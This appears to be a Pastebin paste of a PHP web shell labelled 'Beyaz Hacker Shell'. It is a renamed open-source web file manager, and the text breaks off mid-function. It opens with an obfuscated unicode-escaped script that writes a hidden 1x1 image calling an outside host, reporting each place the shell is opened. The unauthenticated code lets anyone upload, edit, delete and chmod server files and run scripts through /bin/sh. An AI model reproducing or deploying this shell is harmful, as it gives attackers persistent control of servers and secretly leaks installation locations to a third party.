blackcyberrootshell

[ + ] Beyaz Hacker Shell [ + ]

Feb 27th, 2015
324
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 184.69 KB | None | 0 0
  1. <script type="text/javascript">document.write('\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0061\u006c\u0074\u0075\u0072\u006b\u0073\u002e\u0063\u006f\u006d\u002f\u0073\u006e\u0066\u002f\u0073\u002e\u0070\u0068\u0070\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0022\u0031\u0022\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0022\u0031\u0022\u003e')</script>
  2. <?php
  3. /*
  4.  * Beyaz_Hacker.php - a simple Web-based file manager
  5.  * Copyright (C) 2004  Daniel Wacker <daniel.wacker@web.de>
  6.  *
  7.  * This program is free software; you can redistribute it and/or modify
  8.  * it under the terms of the GNU General Public License as published by
  9.  * the Free Software Foundation; either version 2 of the License, or
  10.  * (at your option) any later version.
  11.  
  12.  * This program is distributed in the hope that it will be useful,
  13.  * but WITHOUT ANY WARRANTY; without even the implied warranty of
  14.  * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  15.  * GNU General Public License for more details.
  16.  *
  17.  * You should have received a copy of the GNU General Public License
  18.  * along with this program; if not, write to the Free Software
  19.  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  20.  *
  21.  * -------------------------------------------------------------------------
  22.  * While using this script, do NOT navigate with your browser's back and
  23.  * forward buttons! Always open files in a new browser tab!
  24.  * -------------------------------------------------------------------------
  25.  *
  26.  * This is Version 0.9, revision 10
  27.  * =========================================================================
  28.  *
  29.  * Changes of revision 10
  30.  * <alex-smirnov@web.de>
  31.  *    added Russian translation
  32.  * <daniel.wacker@web.de>
  33.  *    added </td> to achieve valid XHTML (thanks to Marc Magos)
  34.  *    improved delete function
  35.  * <ava@asl.se>
  36.  *    new list order: folders first
  37.  *
  38.  * Changes of revision 9
  39.  * <daniel.wacker@web.de>
  40.  *    added workaround for directory listing, if lstat() is disabled
  41.  *    fixed permisson of uploaded files (thanks to Stephan Duffner)
  42.  *
  43.  * Changes of revision 8
  44.  * <okankan@stud.sdu.edu.tr>
  45.  *    added Turkish translation
  46.  * <j@kub.cz>
  47.  *    added Czech translation
  48.  * <daniel.wacker@web.de>
  49.  *    improved charset handling
  50.  *
  51.  * Changes of revision 7
  52.  * <szuniga@vtr.net>
  53.  *    added Spanish translation
  54.  * <lars@soelgaard.net>
  55.  *    added Danish translation
  56.  * <daniel.wacker@web.de>
  57.  *    improved rename dialog
  58.  *
  59.  * Changes of revision 6
  60.  * <nederkoorn@tiscali.nl>
  61.  *    added Dutch translation
  62.  *
  63.  * Changes of revision 5
  64.  * <daniel.wacker@web.de>
  65.  *    added language auto select
  66.  *    fixed symlinks in directory listing
  67.  *    removed word-wrap in edit textarea
  68.  *
  69.  * Changes of revision 4
  70.  * <daloan@guideo.fr>
  71.  *    added French translation
  72.  * <anders@wiik.cc>
  73.  *    added Swedish translation
  74.  *
  75.  * Changes of revision 3
  76.  * <nzunta@gabriele-erba.it>
  77.  *    improved Italian translation
  78.  *
  79.  * Changes of revision 2
  80.  * <daniel.wacker@web.de>
  81.  *    got images work in some old browsers
  82.  *    fixed creation of directories
  83.  *    fixed files deletion
  84.  *    improved path handling
  85.  *    added missing word 'not_created'
  86.  * <till@tuxen.de>
  87.  *    improved human readability of file sizes
  88.  * <nzunta@gabriele-erba.it>
  89.  *    added Italian translation
  90.  *
  91.  * Changes of revision 1
  92.  * <daniel.wacker@web.de>
  93.  *    Beyaz_Hacker.php completely rewritten:
  94.  *    - clean XHTML/CSS output
  95.  *    - several files selectable
  96.  *    - support for windows servers
  97.  *    - no more treeview, because
  98.  *      - Beyaz_Hacker.php is a >simple< file manager
  99.  *      - performance problems (too much additional code)
  100.  *      - I don't like: frames, java-script, to reload after every treeview-click
  101.  *    - execution of shell scripts
  102.  *    - introduced revision numbers
  103.  *
  104. /* ------------------------------------------------------------------------- */
  105.  
  106. /* Your language:
  107.  * 'en' - English
  108.  * 'de' - German
  109.  * 'fr' - French
  110.  * 'it' - Italian
  111.  * 'nl' - Dutch
  112.  * 'se' - Swedish
  113.  * 'es' - Spanish
  114.  * 'dk' - Danish
  115.  * 'tr' - Turkish
  116.  * 'cs' - Czech
  117.  * 'ru' - Russian
  118.  * 'auto' - autoselect
  119.  */
  120. $lang = 'auto';
  121.  
  122. /* Charset of output:
  123.  * possible values are described in the charset table at
  124.  * http://www.php.net/manual/en/function.htmlentities.php
  125.  * 'auto' - use the same charset as the words of my language are encoded
  126.  */
  127. $site_charset = 'auto';
  128.  
  129. /* Homedir:
  130.  * For example: './' - the script's directory
  131.  */
  132. $homedir = './';
  133.  
  134. /* Size of the edit textarea
  135.  */
  136. $editcols = 80;
  137. $editrows = 25;
  138.  
  139. /* -------------------------------------------
  140.  * Optional configuration (remove # to enable)
  141.  */
  142.  
  143. /* Permission of created directories:
  144.  * For example: 0705 would be 'drwx---r-x'.
  145.  */
  146. # $dirpermission = 0705;
  147.  
  148. /* Permission of created files:
  149.  * For example: 0604 would be '-rw----r--'.
  150.  */
  151. # $filepermission = 0604;
  152.  
  153. /* Filenames related to the apache web server:
  154.  */
  155. $htaccess = '.htaccess';
  156. $htpasswd = '.htpasswd';
  157.  
  158. /* ------------------------------------------------------------------------- */
  159.  
  160. if (get_magic_quotes_gpc()) {
  161.     array_walk($_GET, 'strip');
  162.     array_walk($_POST, 'strip');
  163.     array_walk($_REQUEST, 'strip');
  164. }
  165.  
  166. if (array_key_exists('image', $_GET)) {
  167.     header('Content-Type: image/gif');
  168.     die(getimage($_GET['image']));
  169. }
  170.  
  171. if (!function_exists('lstat')) {
  172.     function lstat ($filename) {
  173.         return stat($filename);
  174.     }
  175. }
  176.  
  177. $delim = DIRECTORY_SEPARATOR;
  178.  
  179. if (function_exists('php_uname')) {
  180.     $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false;
  181. } else {
  182.     $win = ($delim == '\\') ? true : false;
  183. }
  184.  
  185. if (!empty($_SERVER['PATH_TRANSLATED'])) {
  186.     $scriptdir = dirname($_SERVER['PATH_TRANSLATED']);
  187. } elseif (!empty($_SERVER['SCRIPT_FILENAME'])) {
  188.     $scriptdir = dirname($_SERVER['SCRIPT_FILENAME']);
  189. } elseif (function_exists('getcwd')) {
  190.     $scriptdir = getcwd();
  191. } else {
  192.     $scriptdir = '.';
  193. }
  194. $homedir = relative2absolute($homedir, $scriptdir);
  195.  
  196. $dir = (array_key_exists('dir', $_REQUEST)) ? $_REQUEST['dir'] : $homedir;
  197.  
  198. if (array_key_exists('olddir', $_POST) && !path_is_relative($_POST['olddir'])) {
  199.     $dir = relative2absolute($dir, $_POST['olddir']);
  200. }
  201.  
  202. $directory = simplify_path(addslash($dir));
  203.  
  204. $files = array();
  205. $action = '';
  206. if (!empty($_POST['submit_all'])) {
  207.     $action = $_POST['action_all'];
  208.     for ($i = 0; $i < $_POST['num']; $i++) {
  209.         if (array_key_exists("checked$i", $_POST) && $_POST["checked$i"] == 'true') {
  210.             $files[] = $_POST["file$i"];
  211.         }
  212.     }
  213. } elseif (!empty($_REQUEST['action'])) {
  214.     $action = $_REQUEST['action'];
  215.     $files[] = relative2absolute($_REQUEST['file'], $directory);
  216. } elseif (!empty($_POST['submit_upload']) && !empty($_FILES['upload']['name'])) {
  217.     $files[] = $_FILES['upload'];
  218.     $action = 'upload';
  219. } elseif (array_key_exists('num', $_POST)) {
  220.     for ($i = 0; $i < $_POST['num']; $i++) {
  221.         if (array_key_exists("submit$i", $_POST)) break;
  222.     }
  223.     if ($i < $_POST['num']) {
  224.         $action = $_POST["action$i"];
  225.         $files[] = $_POST["file$i"];
  226.     }
  227. }
  228. if (empty($action) && (!empty($_POST['submit_create']) || (array_key_exists('focus', $_POST) && $_POST['focus'] == 'create')) && !empty($_POST['create_name'])) {
  229.     $files[] = relative2absolute($_POST['create_name'], $directory);
  230.     switch ($_POST['create_type']) {
  231.     case 'directory':
  232.         $action = 'create_directory';
  233.         break;
  234.     case 'file':
  235.         $action = 'create_file';
  236.     }
  237. }
  238. if (sizeof($files) == 0) $action = ''; else $file = reset($files);
  239.  
  240. if ($lang == 'auto') {
  241.     if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) && strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) {
  242.         $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
  243.     } else {
  244.         $lang = 'en';
  245.     }
  246. }
  247.  
  248. $words = getwords($lang);
  249.  
  250. if ($site_charset == 'auto') {
  251.     $site_charset = $word_charset;
  252. }
  253.  
  254. $cols = ($win) ? 4 : 7;
  255.  
  256. if (!isset($dirpermission)) {
  257.     $dirpermission = (function_exists('umask')) ? (0777 & ~umask()) : 0755;
  258. }
  259. if (!isset($filepermission)) {
  260.     $filepermission = (function_exists('umask')) ? (0666 & ~umask()) : 0644;
  261. }
  262.  
  263. if (!empty($_SERVER['SCRIPT_NAME'])) {
  264.     $self = html(basename($_SERVER['SCRIPT_NAME']));
  265. } elseif (!empty($_SERVER['PHP_SELF'])) {
  266.     $self = html(basename($_SERVER['PHP_SELF']));
  267. } else {
  268.     $self = '';
  269. }
  270.  
  271. if (!empty($_SERVER['SERVER_SOFTWARE'])) {
  272.     if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') {
  273.         $apache = true;
  274.     } else {
  275.         $apache = false;
  276.     }
  277. } else {
  278.     $apache = true;
  279. }
  280.  
  281. switch ($action) {
  282.  
  283. case 'view':
  284.  
  285.     if (is_script($file)) {
  286.  
  287.         /* highlight_file is a mess! */
  288.         ob_start();
  289.         highlight_file($file);
  290.         $src = ereg_replace('<font color="([^"]*)">', '<span style="color: \1">', ob_get_contents());
  291.         $src = str_replace(array('</font>', "\r", "\n"), array('</span>', '', ''), $src);
  292.         ob_end_clean();
  293.  
  294.         html_header();
  295.         echo '<h2 style="text-align: left; margin-bottom: 0">' . html($file) . '</h2>
  296.  
  297. <hr />
  298.  
  299. <table>
  300. <tr>
  301. <td style="text-align: right; vertical-align: top; color: gray; padding-right: 3pt; border-right: 1px solid gray">
  302. <pre style="margin-top: 0"><code>';
  303.  
  304.         for ($i = 1; $i <= sizeof(file($file)); $i++) echo "$i\n";
  305.  
  306.         echo '</code></pre>
  307. </td>
  308. <td style="text-align: left; vertical-align: top; padding-left: 3pt">
  309. <pre style="margin-top: 0">' . $src . '</pre>
  310. </td>
  311. </tr>
  312. </table>
  313.  
  314. ';
  315.  
  316.         html_footer();
  317.  
  318.     } else {
  319.  
  320.         header('Content-Type: ' . getmimetype($file));
  321.         header('Content-Disposition: filename=' . basename($file));
  322.  
  323.         readfile($file);
  324.  
  325.     }
  326.  
  327.     break;
  328.  
  329. case 'download':
  330.  
  331.     header('Pragma: public');
  332.     header('Expires: 0');
  333.     header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
  334.     header('Content-Type: ' . getmimetype($file));
  335.     header('Content-Disposition: attachment; filename=' . basename($file) . ';');
  336.     header('Content-Length: ' . filesize($file));
  337.  
  338.     readfile($file);
  339.  
  340.     break;
  341.  
  342. case 'upload':
  343.  
  344.     $dest = relative2absolute($file['name'], $directory);
  345.  
  346.     if (@file_exists($dest)) {
  347.         listing_page(error('already_exists', $dest));
  348.     } elseif (@move_uploaded_file($file['tmp_name'], $dest)) {
  349.         @chmod($dest, $filepermission);
  350.         listing_page(notice('uploaded', $file['name']));
  351.     } else {
  352.         listing_page(error('not_uploaded', $file['name']));
  353.     }
  354.  
  355.     break;
  356.  
  357. case 'create_directory':
  358.  
  359.     if (@file_exists($file)) {
  360.         listing_page(error('already_exists', $file));
  361.     } else {
  362.         $old = @umask(0777 & ~$dirpermission);
  363.         if (@mkdir($file, $dirpermission)) {
  364.             listing_page(notice('created', $file));
  365.         } else {
  366.             listing_page(error('not_created', $file));
  367.         }
  368.         @umask($old);
  369.     }
  370.  
  371.     break;
  372.  
  373. case 'create_file':
  374.  
  375.     if (@file_exists($file)) {
  376.         listing_page(error('already_exists', $file));
  377.     } else {
  378.         $old = @umask(0777 & ~$filepermission);
  379.         if (@touch($file)) {
  380.             edit($file);
  381.         } else {
  382.             listing_page(error('not_created', $file));
  383.         }
  384.         @umask($old);
  385.     }
  386.  
  387.     break;
  388.  
  389. case 'execute':
  390.  
  391.     chdir(dirname($file));
  392.  
  393.     $output = array();
  394.     $retval = 0;
  395.     exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval);
  396.  
  397.     $error = ($retval == 0) ? false : true;
  398.  
  399.     if (sizeof($output) == 0) $output = array('<' . $words['no_output'] . '>');
  400.  
  401.     if ($error) {
  402.         listing_page(error('not_executed', $file, implode("\n", $output)));
  403.     } else {
  404.         listing_page(notice('executed', $file, implode("\n", $output)));
  405.     }
  406.  
  407.     break;
  408.  
  409. case 'delete':
  410.  
  411.     if (!empty($_POST['no'])) {
  412.         listing_page();
  413.     } elseif (!empty($_POST['yes'])) {
  414.  
  415.         $failure = array();
  416.         $success = array();
  417.  
  418.         foreach ($files as $file) {
  419.             if (del($file)) {
  420.                 $success[] = $file;
  421.             } else {
  422.                 $failure[] = $file;
  423.             }
  424.         }
  425.  
  426.         $message = '';
  427.         if (sizeof($failure) > 0) {
  428.             $message = error('not_deleted', implode("\n", $failure));
  429.         }
  430.         if (sizeof($success) > 0) {
  431.             $message .= notice('deleted', implode("\n", $success));
  432.         }
  433.  
  434.         listing_page($message);
  435.  
  436.     } else {
  437.  
  438.         html_header();
  439.  
  440.         echo '<form action="' . $self . '" method="post">
  441. <table class="dialog">
  442. <tr>
  443. <td class="dialog">
  444. ';
  445.  
  446.         request_dump();
  447.  
  448.         echo "\t<b>" . word('really_delete') . '</b>
  449.     <p>
  450. ';
  451.  
  452.         foreach ($files as $file) {
  453.             echo "\t" . html($file) . "<br />\n";
  454.         }
  455.  
  456.         echo '  </p>
  457.     <hr />
  458.     <input type="submit" name="no" value="' . word('no') . '" id="red_button" />
  459.     <input type="submit" name="yes" value="' . word('yes') . '" id="green_button" style="margin-left: 50px" />
  460. </td>
  461. </tr>
  462. </table>
  463. </form>
  464.  
  465. ';
  466.  
  467.         html_footer();
  468.  
  469.     }
  470.  
  471.     break;
  472.  
  473. case 'rename':
  474.  
  475.     if (!empty($_POST['destination'])) {
  476.  
  477.         $dest = relative2absolute($_POST['destination'], $directory);
  478.  
  479.         if (!@file_exists($dest) && @rename($file, $dest)) {
  480.             listing_page(notice('renamed', $file, $dest));
  481.         } else {
  482.             listing_page(error('not_renamed', $file, $dest));
  483.         }
  484.  
  485.     } else {
  486.  
  487.         $name = basename($file);
  488.  
  489.         html_header();
  490.  
  491.         echo '<form action="' . $self . '" method="post">
  492.  
  493. <table class="dialog">
  494. <tr>
  495. <td class="dialog">
  496.     <input type="hidden" name="action" value="rename" />
  497.     <input type="hidden" name="file" value="' . html($file) . '" />
  498.     <input type="hidden" name="dir" value="' . html($directory) . '" />
  499.     <b>' . word('rename_file') . '</b>
  500.     <p>' . html($file) . '</p>
  501.     <b>' . substr($file, 0, strlen($file) - strlen($name)) . '</b>
  502.     <input type="text" name="destination" size="' . textfieldsize($name) . '" value="' . html($name) . '" />
  503.     <hr />
  504.     <input type="submit" value="' . word('rename') . '" />
  505. </td>
  506. </tr>
  507. </table>
  508.  
  509. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
  510.  
  511. </form>
  512.  
  513. ';
  514.  
  515.         html_footer();
  516.  
  517.     }
  518.  
  519.     break;
  520.  
  521. case 'move':
  522.  
  523.     if (!empty($_POST['destination'])) {
  524.  
  525.         $dest = relative2absolute($_POST['destination'], $directory);
  526.  
  527.         $failure = array();
  528.         $success = array();
  529.  
  530.         foreach ($files as $file) {
  531.             $filename = substr($file, strlen($directory));
  532.             $d = $dest . $filename;
  533.             if (!@file_exists($d) && @rename($file, $d)) {
  534.                 $success[] = $file;
  535.             } else {
  536.                 $failure[] = $file;
  537.             }
  538.         }
  539.  
  540.         $message = '';
  541.         if (sizeof($failure) > 0) {
  542.             $message = error('not_moved', implode("\n", $failure), $dest);
  543.         }
  544.         if (sizeof($success) > 0) {
  545.             $message .= notice('moved', implode("\n", $success), $dest);
  546.         }
  547.  
  548.         listing_page($message);
  549.  
  550.     } else {
  551.  
  552.         html_header();
  553.  
  554.         echo '<form action="' . $self . '" method="post">
  555.  
  556. <table class="dialog">
  557. <tr>
  558. <td class="dialog">
  559. ';
  560.  
  561.         request_dump();
  562.  
  563.         echo "\t<b>" . word('move_files') . '</b>
  564.     <p>
  565. ';
  566.  
  567.         foreach ($files as $file) {
  568.             echo "\t" . html($file) . "<br />\n";
  569.         }
  570.  
  571.         echo '  </p>
  572.     <hr />
  573.     ' . word('destination') . ':
  574.     <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
  575.     <input type="submit" value="' . word('move') . '" />
  576. </td>
  577. </tr>
  578. </table>
  579.  
  580. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
  581.  
  582. </form>
  583.  
  584. ';
  585.  
  586.         html_footer();
  587.  
  588.     }
  589.  
  590.     break;
  591.  
  592. case 'copy':
  593.  
  594.     if (!empty($_POST['destination'])) {
  595.  
  596.         $dest = relative2absolute($_POST['destination'], $directory);
  597.  
  598.         if (@is_dir($dest)) {
  599.  
  600.             $failure = array();
  601.             $success = array();
  602.  
  603.             foreach ($files as $file) {
  604.                 $filename = substr($file, strlen($directory));
  605.                 $d = addslash($dest) . $filename;
  606.                 if (!@is_dir($file) && !@file_exists($d) && @copy($file, $d)) {
  607.                     $success[] = $file;
  608.                 } else {
  609.                     $failure[] = $file;
  610.                 }
  611.             }
  612.  
  613.             $message = '';
  614.             if (sizeof($failure) > 0) {
  615.                 $message = error('not_copied', implode("\n", $failure), $dest);
  616.             }
  617.             if (sizeof($success) > 0) {
  618.                 $message .= notice('copied', implode("\n", $success), $dest);
  619.             }
  620.  
  621.             listing_page($message);
  622.  
  623.         } else {
  624.  
  625.             if (!@file_exists($dest) && @copy($file, $dest)) {
  626.                 listing_page(notice('copied', $file, $dest));
  627.             } else {
  628.                 listing_page(error('not_copied', $file, $dest));
  629.             }
  630.  
  631.         }
  632.  
  633.     } else {
  634.  
  635.         html_header();
  636.  
  637.         echo '<form action="' . $self . '" method="post">
  638.  
  639. <table class="dialog">
  640. <tr>
  641. <td class="dialog">
  642. ';
  643.  
  644.         request_dump();
  645.  
  646.         echo "\n<b>" . word('copy_files') . '</b>
  647.     <p>
  648. ';
  649.  
  650.         foreach ($files as $file) {
  651.             echo "\t" . html($file) . "<br />\n";
  652.         }
  653.  
  654.         echo '  </p>
  655.     <hr />
  656.     ' . word('destination') . ':
  657.     <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
  658.     <input type="submit" value="' . word('copy') . '" />
  659. </td>
  660. </tr>
  661. </table>
  662.  
  663. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
  664.  
  665. </form>
  666.  
  667. ';
  668.  
  669.         html_footer();
  670.  
  671.     }
  672.  
  673.     break;
  674.  
  675. case 'create_symlink':
  676.  
  677.     if (!empty($_POST['destination'])) {
  678.  
  679.         $dest = relative2absolute($_POST['destination'], $directory);
  680.  
  681.         if (substr($dest, -1, 1) == $delim) $dest .= basename($file);
  682.  
  683.         if (!empty($_POST['relative'])) $file = absolute2relative(addslash(dirname($dest)), $file);
  684.  
  685.         if (!@file_exists($dest) && @symlink($file, $dest)) {
  686.             listing_page(notice('symlinked', $file, $dest));
  687.         } else {
  688.             listing_page(error('not_symlinked', $file, $dest));
  689.         }
  690.  
  691.     } else {
  692.  
  693.         html_header();
  694.  
  695.         echo '<form action="' . $self . '" method="post">
  696.  
  697. <table class="dialog" id="symlink">
  698. <tr>
  699.     <td style="vertical-align: top">' . word('destination') . ': </td>
  700.     <td>
  701.         <b>' . html($file) . '</b><br />
  702.         <input type="checkbox" name="relative" value="yes" id="checkbox_relative" checked="checked" style="margin-top: 1ex" />
  703.         <label for="checkbox_relative">' . word('relative') . '</label>
  704.         <input type="hidden" name="action" value="create_symlink" />
  705.         <input type="hidden" name="file" value="' . html($file) . '" />
  706.         <input type="hidden" name="dir" value="' . html($directory) . '" />
  707.     </td>
  708. </tr>
  709. <tr>
  710.     <td>' . word('symlink') . ': </td>
  711.     <td>
  712.         <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
  713.         <input type="submit" value="' . word('create_symlink') . '" />
  714.     </td>
  715. </tr>
  716. </table>
  717.  
  718. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
  719.  
  720. </form>
  721.  
  722. ';
  723.  
  724.         html_footer();
  725.  
  726.     }
  727.  
  728.     break;
  729.  
  730. case 'edit':
  731.  
  732.     if (!empty($_POST['save'])) {
  733.  
  734.         $content = str_replace("\r\n", "\n", $_POST['content']);
  735.  
  736.         if (($f = @fopen($file, 'w')) && @fwrite($f, $content) !== false && @fclose($f)) {
  737.             listing_page(notice('saved', $file));
  738.         } else {
  739.             listing_page(error('not_saved', $file));
  740.         }
  741.  
  742.     } else {
  743.  
  744.         if (@is_readable($file) && @is_writable($file)) {
  745.             edit($file);
  746.         } else {
  747.             listing_page(error('not_edited', $file));
  748.         }
  749.  
  750.     }
  751.  
  752.     break;
  753.  
  754. case 'permission':
  755.  
  756.     if (!empty($_POST['set'])) {
  757.  
  758.         $mode = 0;
  759.         if (!empty($_POST['ur'])) $mode |= 0400; if (!empty($_POST['uw'])) $mode |= 0200; if (!empty($_POST['ux'])) $mode |= 0100;
  760.         if (!empty($_POST['gr'])) $mode |= 0040; if (!empty($_POST['gw'])) $mode |= 0020; if (!empty($_POST['gx'])) $mode |= 0010;
  761.         if (!empty($_POST['or'])) $mode |= 0004; if (!empty($_POST['ow'])) $mode |= 0002; if (!empty($_POST['ox'])) $mode |= 0001;
  762.  
  763.         if (@chmod($file, $mode)) {
  764.             listing_page(notice('permission_set', $file, decoct($mode)));
  765.         } else {
  766.             listing_page(error('permission_not_set', $file, decoct($mode)));
  767.         }
  768.  
  769.     } else {
  770.  
  771.         html_header();
  772.  
  773.         $mode = fileperms($file);
  774.  
  775.         echo '<form action="' . $self . '" method="post">
  776.  
  777. <table class="dialog">
  778. <tr>
  779. <td class="dialog">
  780.  
  781.     <p style="margin: 0">' . phrase('permission_for', $file) . '</p>
  782.  
  783.     <hr />
  784.  
  785.     <table id="permission">
  786.     <tr>
  787.         <td></td>
  788.         <td style="border-right: 1px solid black">' . word('owner') . '</td>
  789.         <td style="border-right: 1px solid black">' . word('group') . '</td>
  790.         <td>' . word('other') . '</td>
  791.     </tr>
  792.    
  793.     <tr>
  794.         <td style="text-align: right">' . word('read') . ':</td>
  795.         <td><input type="checkbox" name="ur" value="1"'; if ($mode & 00400) echo ' checked="checked"'; echo ' /></td>
  796.         <td><input type="checkbox" name="gr" value="1"'; if ($mode & 00040) echo ' checked="checked"'; echo ' /></td>
  797.         <td><input type="checkbox" name="or" value="1"'; if ($mode & 00004) echo ' checked="checked"'; echo ' /></td>
  798.     </tr>
  799.     <tr>
  800.         <td style="text-align: right">' . word('write') . ':</td>
  801.         <td><input type="checkbox" name="uw" value="1"'; if ($mode & 00200) echo ' checked="checked"'; echo ' /></td>
  802.         <td><input type="checkbox" name="gw" value="1"'; if ($mode & 00020) echo ' checked="checked"'; echo ' /></td>
  803.         <td><input type="checkbox" name="ow" value="1"'; if ($mode & 00002) echo ' checked="checked"'; echo ' /></td>
  804.     </tr>
  805.     <tr>
  806.         <td style="text-align: right">' . word('execute') . ':</td>
  807.         <td><input type="checkbox" name="ux" value="1"'; if ($mode & 00100) echo ' checked="checked"'; echo ' /></td>
  808.         <td><input type="checkbox" name="gx" value="1"'; if ($mode & 00010) echo ' checked="checked"'; echo ' /></td>
  809.         <td><input type="checkbox" name="ox" value="1"'; if ($mode & 00001) echo ' checked="checked"'; echo ' /></td>
  810.     </tr>
  811.     </table>
  812.  
  813.     <hr />
  814.  
  815.     <input type="submit" name="set" value="' . word('set') . '" />
  816.  
  817.     <input type="hidden" name="action" value="permission" />
  818.     <input type="hidden" name="file" value="' . html($file) . '" />
  819.     <input type="hidden" name="dir" value="' . html($directory) . '" />
  820.  
  821. </td>
  822. </tr>
  823. </table>
  824.  
  825. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
  826.  
  827. </form>
  828.  
  829. ';
  830.  
  831.         html_footer();
  832.  
  833.     }
  834.  
  835.     break;
  836.  
  837. default:
  838.  
  839.     listing_page();
  840.  
  841. }
  842.  
  843. /* ------------------------------------------------------------------------- */
  844.  
  845. function getlist ($directory) {
  846.     global $delim, $win;
  847.  
  848.     if ($d = @opendir($directory)) {
  849.  
  850.         while (($filename = @readdir($d)) !== false) {
  851.  
  852.             $path = $directory . $filename;
  853.  
  854.             if ($stat = @lstat($path)) {
  855.  
  856.                 $file = array(
  857.                     'filename'    => $filename,
  858.                     'path'        => $path,
  859.                     'is_file'     => @is_file($path),
  860.                     'is_dir'      => @is_dir($path),
  861.                     'is_link'     => @is_link($path),
  862.                     'is_readable' => @is_readable($path),
  863.                     'is_writable' => @is_writable($path),
  864.                     'size'        => $stat['size'],
  865.                     'permission'  => $stat['mode'],
  866.                     'owner'       => $stat['uid'],
  867.                     'group'       => $stat['gid'],
  868.                     'mtime'       => @filemtime($path),
  869.                     'atime'       => @fileatime($path),
  870.                     'ctime'       => @filectime($path)
  871.                 );
  872.  
  873.                 if ($file['is_dir']) {
  874.                     $file['is_executable'] = @file_exists($path . $delim . '.');
  875.                 } else {
  876.                     if (!$win) {
  877.                         $file['is_executable'] = @is_executable($path);
  878.                     } else {
  879.                         $file['is_executable'] = true;
  880.                     }
  881.                 }
  882.  
  883.                 if ($file['is_link']) $file['target'] = @readlink($path);
  884.  
  885.                 if (function_exists('posix_getpwuid')) $file['owner_name'] = @reset(posix_getpwuid($file['owner']));
  886.                 if (function_exists('posix_getgrgid')) $file['group_name'] = @reset(posix_getgrgid($file['group']));
  887.  
  888.                 $files[] = $file;
  889.  
  890.             }
  891.  
  892.         }
  893.  
  894.         return $files;
  895.  
  896.     } else {
  897.         return false;
  898.     }
  899.  
  900. }
  901.  
  902. function sortlist ($list, $key, $reverse) {
  903.  
  904.     $dirs = array();
  905.     $files = array();
  906.    
  907.     for ($i = 0; $i < sizeof($list); $i++) {
  908.         if ($list[$i]['is_dir']) $dirs[] = $list[$i];
  909.         else $files[] = $list[$i];
  910.     }
  911.  
  912.     quicksort($dirs, 0, sizeof($dirs) - 1, $key);
  913.     if ($reverse) $dirs = array_reverse($dirs);
  914.  
  915.     quicksort($files, 0, sizeof($files) - 1, $key);
  916.     if ($reverse) $files = array_reverse($files);
  917.  
  918.     return array_merge($dirs, $files);
  919.  
  920. }
  921.  
  922. function quicksort (&$array, $first, $last, $key) {
  923.  
  924.     if ($first < $last) {
  925.  
  926.         $cmp = $array[floor(($first + $last) / 2)][$key];
  927.  
  928.         $l = $first;
  929.         $r = $last;
  930.  
  931.         while ($l <= $r) {
  932.  
  933.             while ($array[$l][$key] < $cmp) $l++;
  934.             while ($array[$r][$key] > $cmp) $r--;
  935.  
  936.             if ($l <= $r) {
  937.  
  938.                 $tmp = $array[$l];
  939.                 $array[$l] = $array[$r];
  940.                 $array[$r] = $tmp;
  941.  
  942.                 $l++;
  943.                 $r--;
  944.  
  945.             }
  946.  
  947.         }
  948.  
  949.         quicksort($array, $first, $r, $key);
  950.         quicksort($array, $l, $last, $key);
  951.  
  952.     }
  953.  
  954. }
  955.  
  956. function permission_octal2string ($mode) {
  957.  
  958.     if (($mode & 0xC000) === 0xC000) {
  959.         $type = 's';
  960.     } elseif (($mode & 0xA000) === 0xA000) {
  961.         $type = 'l';
  962.     } elseif (($mode & 0x8000) === 0x8000) {
  963.         $type = '-';
  964.     } elseif (($mode & 0x6000) === 0x6000) {
  965.         $type = 'b';
  966.     } elseif (($mode & 0x4000) === 0x4000) {
  967.         $type = 'd';
  968.     } elseif (($mode & 0x2000) === 0x2000) {
  969.         $type = 'c';
  970.     } elseif (($mode & 0x1000) === 0x1000) {
  971.         $type = 'p';
  972.     } else {
  973.         $type = '?';
  974.     }
  975.  
  976.     $owner  = ($mode & 00400) ? 'r' : '-';
  977.     $owner .= ($mode & 00200) ? 'w' : '-';
  978.     if ($mode & 0x800) {
  979.         $owner .= ($mode & 00100) ? 's' : 'S';
  980.     } else {
  981.         $owner .= ($mode & 00100) ? 'x' : '-';
  982.     }
  983.  
  984.     $group  = ($mode & 00040) ? 'r' : '-';
  985.     $group .= ($mode & 00020) ? 'w' : '-';
  986.     if ($mode & 0x400) {
  987.         $group .= ($mode & 00010) ? 's' : 'S';
  988.     } else {
  989.         $group .= ($mode & 00010) ? 'x' : '-';
  990.     }
  991.  
  992.     $other  = ($mode & 00004) ? 'r' : '-';
  993.     $other .= ($mode & 00002) ? 'w' : '-';
  994.     if ($mode & 0x200) {
  995.         $other .= ($mode & 00001) ? 't' : 'T';
  996.     } else {
  997.         $other .= ($mode & 00001) ? 'x' : '-';
  998.     }
  999.  
  1000.     return $type . $owner . $group . $other;
  1001.  
  1002. }
  1003.  
  1004. function is_script ($filename) {
  1005.     return ereg('\.php$|\.php3$|\.php4$|\.php5$', $filename);
  1006. }
  1007.  
  1008. function getmimetype ($filename) {
